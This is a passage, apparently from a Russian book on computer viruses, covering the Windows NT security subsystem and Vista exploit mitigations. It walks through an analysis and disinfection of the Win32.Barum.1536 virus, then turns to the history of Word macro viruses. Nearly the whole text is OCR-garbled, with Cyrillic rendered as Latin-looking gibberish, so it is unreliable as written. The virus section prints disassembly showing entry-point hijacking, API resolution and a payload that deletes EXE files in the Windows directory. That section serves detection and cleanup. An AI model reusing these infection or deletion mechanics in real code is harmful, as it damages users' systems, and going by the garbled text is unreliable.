«0CTaBUTD cJiefl». CoBpeMmennble Win32-BUpychl TOXKe OUEHb CJIOKHBL, HO
OHU TIPEJICTABIISIOT cOO0I HAGOPDI JJABHO U3BECTHBIX TEXHOJOTUH, MeXa-
HUYEeCKU 00beINHEHHbBIX B euHoe Iesoe. HasHaueHne mogoOHbIX BUPY-
coB (aanpumep, Win32.Virut 1 Win32.Sality) — 3apasurb Ha KOMIIbIOTE-
pe Bce, 9TO BO3MOIKHO, a 3aTeM ITOCTOSTHHO BUCETh B TTAMSITH, — Pacchliast
«craM» ¥ 3apabaThIBast ICHbTH CBOUM aBTOPAM.

4.3.11. Bupycbl n nogcuctema 6esonacHoctu Windows

O6cyxnasg Bupychl mast 32-paspsannbix Bepeuii Windows, Hembss me
VIOMAHYTb B3aMMOOTHOIIEHUS WX C TaK Ha3bIBAEMOW <IIOACHUCTEMON
6e3omacHocTy, pucyrcrsyionieit B Windows NT. 9to yactb oneparim-
OHHOII cucTtembl, peasimzoBannas B Native API u nosBoJisionas pasrpa-
HUYUTD JOCTYI K OOBEKTAM OMEPAIIMOHHON CHCTEMBI ITyTEM PeaTi3aun
HEKOTOPOil noaumuku 6esonackocmu (pevb O TOJUTUKAX GE30MacHOCTH
HOWM/IET HUZKE, B TJIABE, MOCBANIEHHON (GniocoCKM 1 MaTeMaTHYeCKUM
acIeKTaM KOMIIBIOTEPHOI BUPYCOJIOTUN).
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K maccusHbIM 006exmam MHHOOPMAIIMOHHOTO JI0CTYIAa Pa3paboTUUKK
Windows otHecu hailjibl, KaTaJory, JOrH4ecKue yCTpOoiCcTBa, KoY 1
BeTBU PeecTpa, BBIUMCAUTEIbHbBIE TIPOIIECCHI, CPEICTBA CUHXPOHU3AITNT
(cemadopbl, KpUTUYECKHE CEKIIMH, MBIOTEKCHI U T. I1.), CPEJICTBA MeXK3a-
nmauHoro oO6MeHa (MOYTOBbIE SIMIUKU, KAHAJBI W T. 1), CPEACTBA yIIPaB-
JeHust okHamu (paboure CTOJIbI U TO0JIs) — CIUCOK JIOCTATOUHO BEJIHK.
AKTUBHBIMKM areHTaMu (cybvexmamu) MHOOPMAIMOHHOIO JOCTYIIA SB-
JIAIOTCA TIPEsK/E BCETO MOJIb30BATEN U TPYIIIIBI [T0JIb30BATEICH, a TOUHee
[IPOrPAMMBbI, BBITTOJHSIONIMECS] OT UX uMeHu. [ToanTrka Ge30MacHOCTH,
peanusosannag B Windows NT, mo3Bossier pasrpaHU4uTh ZOCTYI CyOh-
€KTOB K OOBEKTaM.

Harnpumep, MOKHO YCTAaHOBUTD /IJIE TIPOTPAMM (B TOM 4HCJie U BUPY-
COB), 3aMyIIEHHBIX OT UMeHU Tosib3oBartens «Baca [Iynkuny, 3amper Ha
sanuch B katajuor «C:\WinNT». 1 s10 geilcTBUTENHHO Oy €T O4eHb CepPb-
€3HBbII U JIeHICTBEeHHbIN 3a1IpeT, He TTPOXOIUMbBIN HU A1 KaKUX BUPYCOB,
ecJid, KOHEUHO, OHU He SIBJIAI0TCA JIpaliBepamiu.

CeorcTea: WINNT HE

Dﬁu.me' HocTyn vepes Beﬁ' Noeryn  BesonacHocTe |

HogaeuTe... |
Ypamme |

Wram

ﬁBce

ﬁ OnemHee nonesoeaTeM (KD NEmHEE

{1 0|

Pazpewenma PaspeunTte JanpeTHTe
MoHsi AocTyn O O

M smerHTE O O
UTEHHE W BEINOHEHME O
CrMcok cogep#umora nanku a
YreHue O
Zanuce O

NopanHuTeneHo... |

MNEPEHOCHTE HACNEIYEMEIS OT POAMTENECKOND OSBEKTS
PAasSpPEWEHKWA H3 3TOT offberT

Ok I OrtraenHa MpraeHTE

Puc. 4.15 «» HacTtporika goctyna
K ¢parinam B Windows NT
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KoHeuHo, MMEeIoTCs BIIOJTHE JIeraibHbIe CIIOCOObI 3aMy CKa IIPOTPAMMbBI OT
MMEHU T10JTb30BaTE I C MHBIM YPOBHEM NpuBmiiernii — yruinta « RUNAS»
n API-¢pyuxunnu «CreateProcessAsUser» u «CreateProcessWithLogon»,
HO U OHU He U36aBJIAI0T OT HeOOXOIMMOCTHU 3HATh JIOTHH U MapPOJib.

Wrak, nmoaxos K 3aliuTe CBOUX KOMIIBIOTEPOB, OCHOBAHHDLIN Ha pas-
IrPaHUYEHUM JIOCTYIIA, — Pa3Be OH He SABJISACTCH PAAUKAILHBIM METOJIOM
peleHus mpodIeMbl KOMITBIOTEPHBIX BUPYCOB, 3apaxkamommx PE-daiinbr?

[Toxanyii, na. Ho He 114 Bcex U He Bcerzia.

Bo-1iepBbIX, JaHHBII MEXaHU3M JOCTYIIEH B ONEPAIMOHHBIX CHCTEMaX
cemeiicrea Windows NT ToJibKO B TOM cJIydae, eCjii BCe JUCKU KOMIIbIO-
Tepa orhopMaTupoBanbi 110 1paBusiam daitnosoit cuctembl NTFS. [la, aTo
OueHb MoIIHast 1 rubKast hailJioBasi CUCTEMA, CIOCOOHAST CKMMATD U Tn-
pPOBaTh CONEPKUMOE KATaJIOTOB, MMO3BOJIAIONIASA TTPOU3BOAUTD <OTKATHI»
(bailioBBIX OTIepalnii, MOIeP:KUBAIONIAS CAMOBOCCTAHOBIIEHNE TTOBPEK-
JIEHHBIX (HAIpUMep, BO BpeMsi cOpoca MUTAHUsA) 3aruceil B cysKeOHbIX
tabmuiax u T. . Ho B TO jke BpeMst 3TO IOCTATOYHO OObEMHAST, MeJ[TIEHHAST
U «PEMOHTOHEINpUToHasA» MaxuHa. Harpumep, ecam Bo BpeMsi KaKOTO-
b0 «KarakJau3Ma» OllepallloHHas crucTeMa, ycraHoBjaenHas Ha NTFS-
JIICKe, OTKA3bIBAETCS 3arPysKaThCs, TO «CIIACCHUE» OCTABIIUXCS HA JINCKE
10JIb30BATEIBCKIX JAHHBIX MOKET OKa3aThCs TPYAHOBBIIOJIHUMOM 3aj1a-
Yeil He TOJIBKO /171 PAI0BOTO TI0JIb30BATES, HO U JIJIs KBAJINMUIIMPOBAH-
Horo cnenuanucta. [loatomy, B3Becus Bce «pro» u «contray, 04eHb MHOTHE
noJibzoBaresn popmatupyior aucku s Windows NT 1o npasuiiam FAT,
Tepss IIPU 9TOM BO3MOXKHOCTH OPraHU30BaTh pasrpaHuyeHue J0CTyIIa.

Bo-BTOpBIX, paboTa MOJIb30BATENSI B CUCTEME € BKJIIOUEHHBIM pa3rpa-
HUYEHHMEM JIOCTYIA YeM-TO HAIOMUHAET KU3HDb B IIPOTUBOTA3e U PE3NHO-
BbIX nepuatkax. CTepuibHo, HO OYeHb Hey06HOo. [la u delercs: HHOT/A.
[Toaromy pekuM pasrpaHUYeHUs JOCTYIIA TTPUEMJIEM TOJIBKO JIJIS TI0JIb-
30Baresieil ¢ «OrpaHNnYeHHbIMI KOMIIBIOTEPHBIMU MHTepecamuy. Harpu-
Mep, opucnHas cexperapima Marmia Becnynikuna, Kotopas 3HaeT BCero
ase nporpammbl — «Microsoft Word» u «Ilacbsires, HUYero nMpoTHB Ta-
KOTO pexkiiMa UMeTh He Oyner. Bojee e akTUBHBLA 1 110003HATE IbHbIN
nosib3oBaresib Bacs IIynikuH, UCHbITaB Bee «IIPejecTh» yCTaHOBJICHHbBIX
OrpaHUYeHNH, CKOpee BCero, OyeT BXOJAUTh B CUCTEMY KaK BCECUJIbHBIIL
(4 B TO ;K€ BpeMs KpaiiHe ysa3BUMbIi!) « AIMUHUCTPATOP>.

B-Tperbux, cucreMHble KOMIOHEHTH Windows pasiMyHBIX Bepcuil
WHOT/IA COflepKaT OMmuOKY (TaK HA3bIBAEMbIE <«YSI3BUMOCTH» WU <«JIbl-
PbI» ), TO3BOJISIONINE BPEIOHOCHOMY KO/ BHEAPATHCS B MX /[PECHOE ITPO-
CTPAHCTBO U (DaKTUUYECKHU BBIMOJIHATD OIIEPAIlMU OT UMEHU T10JIb30BaTe
«SYSTEM>. ITogcucrema 3amuthl 6ecCuIbHA IIPOTUB TAKOTO POJIA aTaK.
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Hakower, yzo6Hast cucremMa pasrpaHiyeH s 10CTyIIa caMa Ha KOMITbIO-
Tepe He MoSBJIsieTcs. TOT «IIaH 3a1uThl», KOTOPbIH 110 YMOJTYAHUIO TTPe/l-
JIaraeTcst B COBPEMEHHBIX OTEPAIlOHHBIX crcTeMax cemelictBa Windows
NT, He M03BOJISIET UCIOJIB30BATh MHOTHE MPOTPAMMBI, pa3paboTaHHbIE
paree it MS-DOS win Windows 9X. Takum o6pasoM, 10Jb30BaTENb
(WM aIMUHUCTPATOP, HACTPAUBAIOIIUI CUCTEMHOE IIPOrpaMMHoe obec-
revyeHre) I0JEKEH CaMOCTOSITEIbHO TIPOAyMaTh, KOMY U YTO 3aIPEIIeHo,
a [IOTOM aKKyPaTHEHbKO YCTAHOBUTD UM COPOCUTD HY/KHBIE TAJIOUKH JIJIST
TeX MJIM MHbBIX AUCKOB M KaTtasoros. s Windows XP mepBoHayaibHO
MPUIETCS OTKIOYUTD «IIpOCTOif COBMECTHBIN TOCTYII K IUCKY >, KOTOPBIH
BKJIIOUEH 10 YMOJYAHUIO W HE TTO3BOJISIET MHINBHU/YaJIbHO HACTPANBATh
pasperienust u 3anpeiienns. Ckopee BCEro, «/JOMANTHII»> TTOTH30BATEIb
IPOCTO He Oy/IeT BCeM 9TUM 3aHUMAThCsl,  BO3bMET JIa OTKJIIOYUT 3aIUTY.

Bor BaMm uerbipe o4eHb CyOBEKTUBHBIX (DaKTOpa, 00YCIOBIUBAIOIINX
BITOJIHE OOBEKTUBHBIN (haKT, — Ha 0YeHb MHOIMX KOMITBIOTEPAX € Ollepa-
nuoHHbIMU cucteMaMu cemeiicTa Windows NT noacucrema saiurbl Hu-
KOTO HU OT Y€ero He 3allUIIAET.

B Windows 9X nozcucrema 6e301aCHOCTH OTCYTCTBYET, BEPHee Ha-
XOJWTCS B 3a4aTOYHOM COCTOSTHUU. Harmpumep, MOKHO OTMETHUTb, YTO
B OINEPAIMOHHBIX CHCTEMAaX HTOTO CeMEMCTBA 3amperieHa Jrodas MOIH-
ukanusa daitna 3anymennoit mporpammbl (B MS-DOS rakoro orpanu-
yeHus He ObL10). 3abaBHO, YTO B 60JIee <IIPOABUHYTHIX>, C TOUKK 3PEHUSsT
3aLUIEHHOCTH, OllePAllMOHHBIX cucTeMax ceMelictBa Windows NT pas-
pelieHo repernMeroBatue (haiiia 3amyiieHHoil mporpaMMbl, a B Windows
9X — raku Her.

OtrgenpHbIx cioB 3aciysxkusaer Windows Vista — Ha MOMEHT Halmca-
HUS 9TUX CTPOK caMasi HOBasl, caMasi KpacuBasi, caMasi pecypcoeMKasi u
caMmast HeJIPysKeJIF00Hast 10 OTHOIIEHUTO K PaHee CO3/aHHBIM TIPOrPaMMaM
U paHee KyIJIEHHBIM KOMITbIOTEpPaM oriepalinontast cucremal. Ee paspa-
GOTYMKHM, He HaJlessCh OoJiee Ha IOACKCTEMY PasrPaHUYeHMs I0CTYIIA, [0-
MBITAIUCH TPY0O U HEe3aTeilInBO 3a0I0KUPOBATh PSI/I U3JIF0OJEHHBIX BU-
pycaMu IPUEeMOB, 3a/IeICTBOBAB P/l TEXHOJIOTUH:

O ASLR (Address Space Layout Randomization) — Bce cucTemubie
6uGIMOTEKH He MMeIoT GOJIbIIe IOCTOSTHHOTO a[ipeca B IIaMsITH, a 3a
BKJTIOUEHUE-BBIKIIOYEHIE 9TOTO PEXUMa OTBEYAeT CIelNaJbHbIi
OUT B 3aTOJIOBKE UCTIOJHSIEMBIX (haliioB;

O SafeSEH — uenouka CTpyKTYPHBIX 0OPabOTYMKOB MCKIIIOYEHUIA,
HazHavyaeMas MPUJIOKEHUIO 110 YMOJIYAHWIO, TETIePDb PACIIOIaraeTcs

! Windows 7 nosiBuiach B TOT MOMEHT, KOTjia paboTa Hajl KHUTOM MOAXOANTa

K KOHILY.
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HE B CTEKe, a B OT/EJIbHOII ceximu «.pdatas, 11t KOTopoii coOpoieH
OUT paspelIeHns 3aucHy;
O NX zanpenaeT BbIIIOJTHEHNE KO/, COJIEPIKAIIETOCS B CTEKE.
IToskastyii, 3BHAYMTEIBHYIO YaCTh «CTapPbIX» BUPYCOB 3TH HOBOBBEIEHUS
YPE3OHAT, HO KAKUX-TO IIPUHLIUIIIAIBHBIX OaPbePOB AJI CYIIeCTBOBAHUS
U PasMHOKEHUsI uX 0ojiee COBPEMEHHBIX MOAM(PUKALNN, CHAOXKEHHBIX
YyTh-4yTh OOJIee CIO0KHBIMU aJITOPUTMAMU, TaK U He ObLIO BO3IABUTHYTO.
Brpouem, MosKeT ObITh, OHU GOJIbIIIE ¥ HE HYKHbBI?

4.4. Npumep aHaAn3a N HeNnTpaAU3aUnn
KOHKPETHOro BMpyca

..OH 6bLL, pY2aicst HA HECKOILKUX MEPMEbLY
A3BIKAX, CKAKATL, OMPbIZUBAIL A3bIKU 021, 6 3a-
NATGUUBOCTIU HAUUHAT CIPOUMDL U MYM Jice PA3-
pyuLaL 080pYbL, NOMOM HAKOHEY, COAICSL...

A.u Bb. Crpyrarnkue.
«[TonenenbHuK HaunHAETCSI B Cy660TY>

Ha atoT pas mokasaTebHON «ayTONCHN» MOJBEPTHETCST HECIOKHBIN BU-
pyc Win32.Barum.1536 (on ke W32.Laziness.1536 1 Win32.Girigat.
1536), HeckosbKo pa3 ynoMmsiHyThiil B Katasore WildList or Joe Wells 3a
2001 rog.

4.4.1. NepBnyHbIA aHaNU3 3apaxeHHbIX NporpamMmm

IMocne «cy4ailHOrO» 3allycKa BUPYyca 3apaskeHHBIE MM TPOTPaMMbI 0OHA-
PY/KUBAIOTCS B TOM K€ KATajiore, OTKy/la BUPYC CTapTOBAJ, 1 H0Jiee HUTJIE.
Bce onu «monpassisiioresi» Ha 1536 6aiiToB, a «HAa IPOCBET» B HUX 3aMeT-
HbI cTpoku: «| Bajan Rum | Tekken’ time ent no laziness».

Tunwusast TabMIA CEKIUN 3apakeHHOM IPOrPAMMBI BBITJISIIUT CJIe-
aytomum 06pasom (cm. Tabu. 4.12).

Tabnuya 4.12. Tabnuua cekuyunii nocsie 3apakeHusi BUPYCoM
Barum

Name VirtSize RVA PhysSize Offset Flags
1 CODE 1000 1000 200 600 E0000020 rwec.....
2 DATA 1000 2000 200 800 C0000040 rw...d...
3 .idata 1000 3000 200 AO0O C0000040 rw...d...
4 .reloc 0AO0 4000 800 C00 FO000060 rwec.d...
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ITpu iepBOM sKe B3IJIsijie Ha 9Ty TabJIMIly Cpa3y HaCTOpaKIBaioT OUTO-
Bble (hJIary 3aMUCH U BBITIOJHEHUST, YCTAHOBJIEHHBIE JIJIST CEKITUH «.relocs.
A He B Hell JI1 PACIIOaraeTcs TOYKA BXO/A B 3APASKEHHYIO IIPOrpPaMMy?
B PE-zarosnoske nporpammsl nose «AddressOfEntryPoint» umeer snaue-
uue 4200, 1 9TO 03HAYAET, UTO UHOPOHBINA KO/ IEHCTBUTENBHO «CUIUT>
B CEKIMY TIEPEMEIIAEMBIX CCHLITOK. 3aberast BIIEPel, OTMETHM, UYTO BUPYCY
«110 GapabaHy» HazHAUEHUE U COAEPKUMOE CEKIMU, B KOTOPYIO OH 3alli-
ChIBaeTCs, — rJlaBHOe, YTOObI OHa ObLIa B (hailjie moceaHeil.

AJroputM pacuera MECTOOIOKEHUsST TOUKK BXOJIa B BUpYyC OyJIeT ciie-
JYIOTIUM.

1. B MZ-3arosnoske 1o cmenernio 3Ch Haxomaum agpec PE-3arososka

(B Hamrem ciyyae 51o 100h).

2. B PE-3zarososke 1o cMmetniennio 28h (orHocurenbro navana daii-
sa 9710 coctasut 100h + 28h = 128h) obuapyxuBaem u 3anoMmu-
naeM RVA (1o ecTb azipec B naMgTH) /171 TOuku BXozia. OH paBeH
4200h.

3. CxanupyeM TabJIuIy CETMEHTOB, PACIIOIOKEHHYIO cpasy 1oce PE-
3arojioBka (aumna 3arojoska F8h, snauur, B (haiiie tabiauiy ciemy-
et uckath 110 cMerenunio 1F8h). B rabimite cerMmeHToB Hac B IepBYIO
ouepeb nntepecyior RVA u BupTyasnbable 1uHbl cekiuii. Touka
Bxona (4200h) pasmenena mesxay 4000 (Hauano cexiun .reloc) u

DOS-3aronosok

MZ+3C
MZ+100

PE+28=MZ+128
PE+F8=MZ+1F8

WIN-3aronoeok

CODE...1000...600... | T@6nuua cexuui
DATA.....2000...800..
.idata.....3000...A00..
reloc.....4000...C00..

Cekumu / B NamsaT - CeKunu Ha avcke
/ 800
/ A00

Coo

E00 ®¢ 200

O ¢2'DO

Puc. 4.16 < Cxema noucka Bupyca Barum B dpanne
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4A00 (koHer ceknuu .reloc) v cMeleHa OTHOCUTENBHO ee Hayaja
na 4200h — 4000h = 200 Gaiitos.
4. Ta e ceKLus Ha AUCKE pasMelleHa 110 abCOTIOTHOMY CMEIEHUIO
CO0h, snaunt, Bupyc Hago uckars B nosunuu CO0h + 200h = EOOh.
Kcratu, nyst supycos tura Win9X.CIH, «<kuByIiux» BHe CEKIHiL, pac-
yer Gb1 ObI ere npoite. [eiicrBurenbio, RVA — 9T0 cMellieHre 0OTHOCH-
TeJIbHO Havajia PACIIOJIOKEHHS [IPOrPaMMbl B IIaMSITH, TO €CTh 0T «MZ».
3uaunrt, 1 «AddressOfEntryPoint»=300h Takosa 6bL1a 661 1 (aiinobast
[O3UIIMS BUPYCa.
Bor u Bce, apudMeTnKa oueHb IpocTasi.

4.4.2. AHanu3 Kopa

uzacceMOIMpyeM 3apaKEHHYIO TIPOTPAMMY U U3YIHUM €€ JIUCTHHT (CM.
TIPUJIOJKEHHE ).

Oparment 1. Co6CTBEHHO TOBOPSI, JIJISE TOTO YTOOBI HAYYUTHCS UCKATH
Win32.Barum.1536 BuyTpu (aiijioB U «BBIKOBBIPUBATH» €TI0 OTTY/IA, J0-
CTaTOYHO TPOAHAIUZUPOBATH Bcero 12 mepBbIX BUPYCHBIX KOMaH[. BoT
OHII:

404200  call $+5 ;. Knaccuyeckoe. . .
404205 pop ebp ;.. .BbYUCNEHME "aenbTa-cMmeueHns”
404206 mov ebx, ebp
404208 sub ebp, (offset off_401003+2) ; Bupgenerue paboueit obnactu

Kon komaHmbl sub ebx, XXXXXXXX
40420E  dw EB81
dd XXXXXXXX ; CTapeii RVA Touykn Bxona
. Kopg komaHmos mov eax, YYYYYYYY
404214 db B8

dd YYYYYYYY ; CTapeii RVA konoBoi cekumm

404219 add eax, ebx ; RVA B cekunn .CODE
40421B push eax ; Anpec B cTek
40421C  call BuildAPITable ; Nouck B KERNEL32.DLL appecoB API-dyHKUMA
40421C ;W nocTpoeHne Tabnuub aapecos no appecy
[EDI]
404221 call Payload . 6 mapTa yganuTb ¢ainns B8 C:\Windows
404226 call Infect . MckaTb U MHOMUMPOBATHL HOBbLIE XEPTBbI
40422B retn ; B cTeke 6bn agpec cTapol TOYKM BXOAa

4.4.3. AnroputM noucka u nevyeHus

CurHarypy JJIst IOMCKA BIIOJIHE MOTYT cocTaBuTh 10 GaiiToB BUpYycCa, pac-
MTOJIOKEHHBIX HeJaleKo OT TOUKK BXoja, HarpumMep «8B DD 81 ED 05 10
40 00 81 EB». [ToHOE «1ctieienne» (TO eCTh BOCCTAHOBJIEHHUE TIEPBOHA-
JaJbHOTO BHJIa) MPOTPaMMbl HEBO3MOKHO, TOCKOJIBKY BUPYC HEOOPaTH-
MO YHUUTOXKAET COMEP:KUMOE CEKITHH TIepeMeIaeMbIX CChTOK. [ToaTomy
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BIIOJIHE TIPUEMJIEMO, HAIIPUMEP, 3AIOJTHUTH KogaMu KoMaH/bl «NOP»
BpeloHOCHBIe OaiiThl, HaunHas ¢ agpeca 40421Ch, — Bupyc nepecraner
PasMHOKATBCS, HO MO-TIPEKHEMY Gy/IeT BO3BpaIIaTh yIIPaBIeHUE B MPO-
rpamMMmy-HocuTesb. Ipyroil crioco6: ussiedyb crapbiii RVA Touku BXoja
U BEpHYTbH €ro Ha 3akoHHOe MecTo B PE-3arosioske (cmerienue +28h).
[Tocsie Toro Kak BUpyc Gyner 06e3BPekKeH, ero TeJo MOKHO TIPOCTO «3a-
YUCTUTH» HYJIAMH — YTOOBI HE «B3JIParnBaji» aHTUBUPYCHI.

4.4.4. JononHuUTeNbHbIe 3amMevyaHus

B pesyibrate GoJiee mOAPOOHOTO aHAIN3a BUPYCHOTO KOJIa MOYKHO CJie-
JIATh CJIEIYIONINE UHTEPECHDIE BBIBO/IBI.

ITpusnak 3apaskerroct Bupycom Win32.Barum.1536 — Gaiirer 42h u
52h (coueranue ‘BR’) B mosie KOHTPOJIbHOU cymmbl MZ-3arosioska. Ha-
[UIIATE TPOCTEHBKYIO MTPOTPAMMY-BaKI[MHATOP, KOTOPast 00XOAUT BCe
EXE-aiisnpr qucka ¥ ycTaHABIUBAET /IS HUX TPU3HAK 3aPA’KEHHOCTH.
Bupyc He TpoHeT nx.

WNurepecen criocod oOpaliieHus: BUpyca K CUCTeMHbBIM cepBrcam. Bupyc
3apaskaer Bce EXE-daiinb monpsiz, Ho, cTapToOBaB M3 3apaskeHHOI PO-
IPaMMBbI, TIEPBBIM JIEJIOM HIIET B COOCTBEHHOU (TOUHEE, B TI03aMMCTBOBAH-
HOU y 3apaskeHHOIl porpaMMbl) Tabsuile ummopta agpec API-hyHknun
«GetModuleHandleA». Ou genaer 510, 4T00bI HOJAYYUTD agpec GUbINO-
tekn «KERNEL32.DLL» u npsiMbiM CKaHUPOBaHUEM TaGJIUIIbI 9KCIIOP-
Ta HaiiTh B Hell azpeca HyKHbX eMy API-dyuximii («FindFirstFileAs,
«CreateFileA» u 1. 11.). O6parurte BHUMaHKE: Cell 3aMeYaTe/IbHbIIl IPK-
eMm Oyzner paborars B 1060i1 Bepcun Windows — ot 95 10 «Bucrsi»! Ho
JIAJIEKO He BCe MPOrPAMMBI TI0 YMOJIYAHUIO COAEPKAT B CBOEH TabJiuIle
ummnopta cebiky Ha «GetModuleHandleAs. Takum o6pa3om, 3HAUUTEb-
Hast 4acTh IporpaMm, Oy ryun 3apaskerHoi Bupycom Win32.Barum.1536,
[epeHOCYNKOM MH(MEKIINU TaK U He cTaHeT. Bupyc Oyzer BeYHO CUIETh
BHYTPHU TaKUX [IPOTPAMM U TPYCTHO «KYPUTH GaMOYK».

Hy 1, HAKOHEI], CJIeJYET OTMETUTD, YTO BUPYC TOJIBKO BBITJIAANUT «KPO-
BOKQ/IHBIM», HO HA CAMOM JleJie HEBUHEH, KaK OBeYKa. Dymydu samyiien
6 mapra B 12 4acoB HOYM, BUPYC TIBITAETCS BBITIOJHUTD CJELYIONTHI
CTPaHHBIN KO

push 104h . [lnuHa 6ydepa

push eax . Anpec 6ydepa

call ss:dword_401614[ebp] . GetWindowsDirectoryA
or eax, eax

jz Error
lea eax, dword_4015EE[ebp] . Macka '*.EXE",0
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push eax ; Wma danna
call ss:dword_40160C[ebp] . DeleteFileA

He HyxHO GbiTh BeJMKUM 3HATOKOM Win32 API, 4ro0bl 1OHATH ab-
CYPAHOCTH W HEPabOTOCTIOCOGHOCT MPUBENEHHOTO (hparmMenTta. Tem He
MeHee OcTajibHas 4acTh BUpYyCa HallMcaHa J0CTaTOYHO IPAMOTHO U aKKYy-

parno. Yero ke X0TeJ aBTOP BUpyca?
VBB, KaK roBapuBaJii My Ipble aTHOCTUKH, «<ignoramus et ignorabimus».
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Makposupychbl

[lo cero MOMeHTa HaMU pacCMaTPUBATIMCH BUPYCBI, KOTOPBIE IIPEICTaBIISA-
s co6oit HABOPbI MAITUHHBIX KOMAH/I, BBITIOJHAEMBIX HETIOCPEICTBEHHO
nporieccopoM. OIHAKO CYIIECTBYIOT MPEJCTaBUTENN KOMIIBIOTEPHON 3a-
pasbl, KOTOPbIE <KUBYT» B CICIUAIN3UPOBAHHBIX BUPTYAJIbHBIX Mallll-
HaX M COCTOAT U3 WHCTPYKIIMH, HAITMCAHHBIX HA TaK HA3bIBAEMBIX CKPUN-
mosvix sAsvikax (NN A3vikax cyenapues). Kak npaBuiio, BUPTyaJbHbIe
MaIlUHbI SBJSIOTCA YaCThi0 KaKOW-HUOY/b MPUKIAJAHON TPOTPAMMBI 1
paboTaoT B PEKUME WHTEPIPETAIUY CIIEHAPUA. ITO O3HAYAET, YTO OHU
MOCJIeI0OBATEbHO CYUTBIBAIOT, TPAHCAUPYIOT U CAMOCTOSITEIbHO BBITIOJI-
HAIOT ero (clieHapus) UHCTpyKIu. Harpumep, <1pocMOTpHIMKNA» THIIA
Internet Explorer u Netscape Navigator c110cOOHbI BBIIOJIHATD ClIEHAPUI
(TmocJsie10BaTEIbHOCTA MHCTPYKIIMIA ), HAIMCAHHBIE HA A3bIKe JavaScript.

Hexoropble BUpTyasibHbIe MAlIUHBI U COOTBETCTBYIOIIME UM SI3BIKU
CIICHApUEB MOJIEP’KUBAIOT BO3MOXKHOCTD HAIIMCAHUS CaMOPa3MHOKaIO-
IUXCs IPOTPAMM, TO ecTh BUPYcoB. HanbGosee MMPOKYIO U3BECTHOCTD
TOJTY YU MAKPOGUPYCbL, <KUBYIIHE» B JOKYMEHTAX, SIEKTPOHHBIX Tab-
junax u npeserraiusax Microsoft Office.

Ta nam uHag Bepcus 3TOrO IaKeTa YCTaHOBJIEHA B HACTOSIIEEe BPeMs
MPAKTUYECKH HAa KasK/[OM KOMIIbIOTEpe.

5.1. Bupycel 8 MS Word

Heucuucaumovie nojauuwia 60pon Cnycmuiuco nHa
zopoa, KdK Ha yucmoe noiie.

A.u B. Crpyraikue. «TpyzaHo 6b6ITh 60roM»

Hcropust TexcroBoro mpoueccopa MS Word yXoauT ¢BOMMHU KOPHAMHE
B cepeanny 80-x ro/10B, B amoxy MS-DOS, korna dupma Microsoft audem
He HATIOMITHAJIA ellle HbIHEITHETO TUTAHTCKOTO KPaKeHa, Oy TaBIIeTo TITy-
MaTbI[AMI CBOMX OIEPAIMOHHBIX CUCTEM U MPUKJIAIHBIX TPOTPAMM BECh
mup. B AMeprke BecbMa yCIelHbM KoHKyperToM st MS Word asiisti-
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cst rekcToBbIi potteccop Word Perfect, a oTedecTBeHHbIE TT0IB30BATENN
npegnountanu Jlekcukon E. Becenosa. Tem ne menee cupoc Ha MS Word
cymtectBoBa, 1 110 1991 roga GbLIO BBINYIEHO 110 KpaliHeil Mepe IsTh
Bepcuit MS Word st MS-DOS u wersipe — st MAC OS.

Bepcust MS Word 1.0 for Windows, sbinyiensas 8 1989 r. ais Win-
dows 3.X, ocramach mpakTudecKu He 3aMedeHHON. Jlumpb Bepcus 2.0,
Boiesnias B 1991 r., nanwia coero nokymnaress. [1o Bo3aMoxkHOCTSIM pe-
nakruposanust tekcra Word 2.0 mpuMepHO COOTBETCTBOBAJ PEAKTOPY
WordPad, BKIIOYEHHOMY MO YMOJYAHUIO BO BCE COBPEMEHHbBIE BEPCUU
Windows. Tekcrossiii mipoiteccop Word 2.0 yske MOT BBITIOJHSATD CIlEHA-
pun (OHM TOJIYYUJIN KAPTOHHOE HAMMEHOBAHUE — <MAKPOCHL» ), TIPE]i-
cTaBJsiBIIHE OO0 COXPAHEHHYIO MTOCIEA0BATENbHOCTD HAXKATH T KITABHUII
1 KOMaH/l pelaKTUPOBAHUS TEKCTA. ITO ITO3BOJISAJIO0 O30PHUKAM CO3/IaBaTh
PUMUTHBHBIE TPOSTHCKIE TiporpaMmbl jiiist MS Word, Ho 1oka He Bupy-
col. @opmart daiiia, comepKaBIIero TEKCT U Pa3MeTKY JOKYMEHTa, TOXKe
ObLI IOBOJIBHO TIPOCTBIM.

Hacrosimas nonynsprocts npunia k MS Word 8 1993 roxy Bmecre
¢ Bepcueii 6.0. ITOT TEKCTOBBII IIPOLIECCOP YKe COLeP KA OOIBIIIHCTBO
TeX BO3MOKHOCTEN PeaKTUPOBAHUS TEKCTA, KOTOPbIE U3BECTHBI 110JIb30-
BaTeJIsIM 110 coBpeMeHHbIM BepcusaM MS Word. TTosoxka pyky Ha cepjiie
caexyet npustath, uto Word 6.0 u ceiiuac ygposiersopui 661 90% 1osin-
30Baresieil. B KOHTeKCTe MaHHOW KHUTW HAC JOJKHBI 3aUHTEPECOBATh
nBa obcTosTeNnbeTBRa, Kacaomuecs Word 6.0. Ilepsoe: B kayecTBe s3bIKa
clieHApUeB B HeM ObLJI UCIOJIb30BAaH MOJHOIEHHBIH SI3BIK MPOTPAMMMU-
poBaHust, HoJryduBinii Hazsanue WordBasic. Bropoe: ¢aiisn gokymenTa
ObLI OpraHn30BaH B popMaTe TaK HA3BIBAEMOTO <«CMPYKMYPUPOBAHHOZO
xpanunua» (structured storage), croco6HOTo copepKarh B cebe pasHo-
pojHbIe 0GBEKTHI — TEKCThI, U300pasKeH s, ABONYHbBIE JaHHbIe 1 T. 1. [Tep-
Boie MakpoBupychl (Word.Macro.DMV u Word.Macro.Concept) 6buiu
HalMCcaHbl UMEHHO Ha si3bike WordBasic u uMeHHO J1st JOKyMeHToB MS
Word Bepcun 6.0.

Caenyiomas sepeuss MS Word, nonyunsiias nomep 7.0, He npuBHec/a
HUKAKUX PEBOJIOIUOHHBIX M3MeHennil. MakTudecKu OHa MPEACTABIIAIA
co6oit MS Word 6.0, nieperpancinpoBantblii 32-0UTOBBIM KOMIIUJISTO-
poM st BeinoiHenust B cpese Windows 9X/NT u «ymakoBaHHbBIN» BMeC-
te ¢ MS Excel 7.0 B 06muii naker Microsoft Office 95. Bee Bupycer, Hamm-
canuble g Bepcuu 6.0, okazanuch akTyasubhbl u 1711 7.0. A y3K CKOJIBKO
ux ObL10 Hancano! Bexb Bek otoit Bepcun MS Word okasasicst 1oirum —
MPAKTUYECKH /10 Havaja HOBOTO ThicauesneTus. J{a uyto TaMm, jaxe u ceii-
4ac MHOTHE MOJIb30BATENIN «CO CTasKEM» MPEANIOUMTAIOT ATOT OBICTPHI,
